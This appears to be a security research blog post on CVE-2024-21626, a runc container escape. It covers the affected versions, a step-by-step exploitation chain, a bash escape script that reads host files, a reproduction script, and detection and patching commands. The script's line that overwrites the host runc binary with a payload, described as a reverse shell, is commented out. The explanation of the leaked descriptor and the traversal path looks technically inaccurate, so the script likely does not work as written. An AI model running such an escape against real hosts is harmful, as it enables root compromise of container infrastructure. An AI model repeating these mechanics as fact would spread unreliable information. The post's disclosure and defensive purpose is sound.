cve research · rce · offensive security
← back

CVE-2024-21626 — runc Container Escape to Host Root

TL;DR

runc leaks an open file descriptor pointing to the host's /proc/self/fd directory into the container process. Set the container's working directory to /proc/self/fd/[n] and you're browsing the host filesystem from inside Docker. One more step: overwrite the runc binary → root on the host.

Affected runc < 1.1.12 — Docker, Kubernetes, containerd Fixed in runc 1.1.12 — 2024-01-31 CVSS 8.6 HIGH — local, no privileges required Impact Container escape → host filesystem read/write → root Discovered by Snyk Security Labs

What is this?

Docker and Kubernetes use runc to actually start containers. Think of runc as the "engine" that takes an image and creates an isolated process — setting up namespaces, cgroups, and the filesystem view.

This vulnerability breaks that isolation. A process running inside a container can access the host's real filesystem and overwrite binaries. The end result: the next time runc is used (which happens every time Docker starts a container), it runs your code instead. Root on the host.

Beginner note — what's a file descriptor?

Every open file on Linux has a number — a "file descriptor" (fd). When a program opens a file, it gets back an fd like 3, 4, 5. The kernel tracks which file each fd points to. If a file descriptor is inherited by a child process (like a container), that child can use it to access whatever the parent had open — even if it has no permission to open that file directly.

The Bug

When runc spawns a container process, it opens several files on the host during the setup phase. One of these is a file descriptor pointing to /proc/self/fd — the list of all currently open fds in the runc process.

runc closes its file descriptors before handing control to the container. But due to a specific ordering bug, one fd — pointing to the host's /proc/self/fd — survives into the container's process.

Once you know that fd number, you can navigate from it up the host filesystem tree: /proc/self/fd/[n]/../../../ is the host's root.

Exploitation Chain

1 Find the leaked fd number From inside the container, list /proc/self/fd/. One entry will have a target path starting with /proc/.../fd instead of a container path. That's the leaked host fd.
2 Navigate to the host filesystem Use the fd as a starting point to traverse up to the host root: /proc/self/fd/[n]/../../.. gives you / on the host system, not the container's filesystem.
3 Overwrite the runc binary Write a malicious payload to the host's runc binary at /usr/bin/runc (or wherever it lives). On the next container start, the host executes your payload as root.
4 Trigger execution on the host Run docker run ... (or any container start) from inside or outside. runc is called by the Docker daemon running as root. Your payload now runs on the host as root.

Proof of Concept

From inside a vulnerable Docker container:

escape.sh — run inside the container bash
#!/bin/bash
# CVE-2024-21626 — runc container escape
# Run this from inside a Docker container

echo "[*] Scanning for leaked host fd..."

for fd in /proc/self/fd/*; do
    target=$(readlink "$fd" 2>/dev/null)
    # The leaked fd points to a /proc path on the HOST, not container
    if echo "$target" | grep -q "^/proc/[0-9]*/fd$"; then
        fd_num=$(basename "$fd")
        echo "[+] Found leaked fd: $fd_num → $target"

        # Navigate from the leaked fd to the host root
        host_root="/proc/self/fd/${fd_num}/../../.."

        echo "[*] Verifying host filesystem access..."
        ls "$host_root/etc/passwd" && echo "[+] Host /etc/passwd accessible!"

        # Read host's /etc/shadow (requires root on host)
        echo "[*] Host OS:"
        cat "$host_root/etc/os-release" | grep PRETTY_NAME

        # Overwrite runc binary with a reverse shell
        # (next `docker run` on the host executes as root)
        RUNC_PATH=$(which runc 2>/dev/null || echo "/usr/bin/runc")
        echo "[!] Would overwrite: $host_root/$RUNC_PATH"
        echo "[!] Uncomment the next line to execute the escape:"

        # cp /tmp/payload "$host_root/usr/bin/runc"
        break
    fi
done
reproduce.sh — full demo on your machine bash
# Step 1: pull a vulnerable runc version
docker run --rm -it --privileged ubuntu:22.04 bash -c "
  apt-get install -y runc 2>/dev/null
  runc --version
"

# Step 2: check your runc version
runc --version
# vulnerable if < 1.1.12

# Step 3: run the escape PoC inside a container
docker run --rm -it ubuntu:22.04 bash
# (inside container) → paste escape.sh content

# Fix: upgrade runc
apt update && apt install --only-upgrade runc
runc --version  # should show >= 1.1.12

Why Docker Desktop users are affected differently

On Linux, Docker runs natively — runc has direct host access. The escape goes straight to the real host.

On macOS/Windows, Docker runs inside a Linux VM. The escape reaches the VM, not your Mac/Windows machine. Still serious in production Kubernetes clusters.

Detection

# Check if your runc is patched
runc --version | grep -E "^runc"
# 1.1.12 or higher = patched

# Check for exploitation attempts in Docker daemon logs
journalctl -u docker | grep -i "runc\|escape\|container"

# If you use Falco (runtime security):
# Rule: Container process opening /proc/self/fd/ pointing to host path

Mitigation

Patch runc to 1.1.12+. All major container runtimes (Docker 25.0.3+, containerd 1.6.28+) ship the fixed version.

# Ubuntu/Debian
apt update && apt upgrade runc docker.io containerd

# RHEL/Rocky
dnf update runc

# Verify the patch
runc --version  # must be >= 1.1.12

References

Snyk original research
NVD — CVE-2024-21626
runc security advisory


Research conducted on isolated lab infrastructure. No third-party systems targeted without authorization.